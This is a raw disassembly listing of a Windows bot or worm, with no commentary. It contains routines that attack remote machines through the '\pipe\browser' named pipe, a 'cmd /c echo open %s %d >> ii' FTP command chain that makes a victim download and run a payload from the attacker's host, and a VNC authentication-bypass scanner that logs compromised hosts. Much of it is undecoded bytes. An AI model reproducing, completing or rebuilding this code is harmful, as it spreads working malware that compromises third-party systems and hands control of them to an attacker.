; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db 0B8h	; 
		db 0DCh	; 
		db  60h	; `
		db    0
		db    0
		db 0E8h	; 
		db  78h	; x
		db 0E1h	; 
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  80h	; 
		db 0DBh	; 
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0A8h	; 
		db 0F7h	; 
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; 
		db  85h	; 
		db 0C0h	; 
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db    4
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0A6h	; 
		db 0DFh	; 
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; 
		db 0A7h	; 
		db 0DBh	; 
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  89h	; 
		db  85h	; 
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; 
		db 0D8h	; 
		db 0D7h	; 
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26F0864h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_4328DC
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_4328C8
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2650937h
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_432870[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE34C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328BF+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_432864[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_43286C[esi]
		push	7
		add	eax, edi
		push	offset dword_432858
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_4326F8
		push	eax
		call	sub_41C310
		mov	eax, dword_432868[esi]
		add	esp, 30h
		cmp	byte_432870[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CE344
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_432888
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_432888


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2650937h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 26E07BAh
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DE4F
		call	near ptr 2670E94h
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 268062Eh
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db 0A0h	; 
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; 
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0D6h	; 
		db 0D6h	; 
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; 
		db  45h	; E
		db 0F0h	; 
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; 
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; 
		db 0C4h	; 
		db    0
		db    0
		db    0
		db  89h	; 
		db  45h	; E
		db 0F4h	; 
		db 0E8h	; 
		db  6Bh	; k
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; 
		db  45h	; E
		db 0F2h	; 
		db  90h	; 
		db 0E8h	; 
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; 
		db 0D8h	; 
		db  83h	; 
		db 0FBh	; 
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; 
		db  5Fh	; _
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; 
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; 
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db 0B8h	; 
		db    8
		db  91h	; 
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  60h	; `
		db 0B3h	; 
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0DFh	; 
		db 0CCh	; 
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  10h
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; 
		db  38h	; 8
		db 0DAh	; 
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; 
		db  87h	; 
		db 0D0h	; 
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db  8Bh	; 
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; 
		db 0EBh	; 
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db 0E7h	; 
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; 
		db 0C3h	; 
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 262560E8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB360
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_431ACCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB664
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB624
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_432984
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431AD0[eax]
		lea	eax, dword_431AD0[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB63C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433BC8
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB664
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB624
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB6BC
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CB4DC
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431AD0[eax]
		push	ebx
		lea	eax, dword_431AD0[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


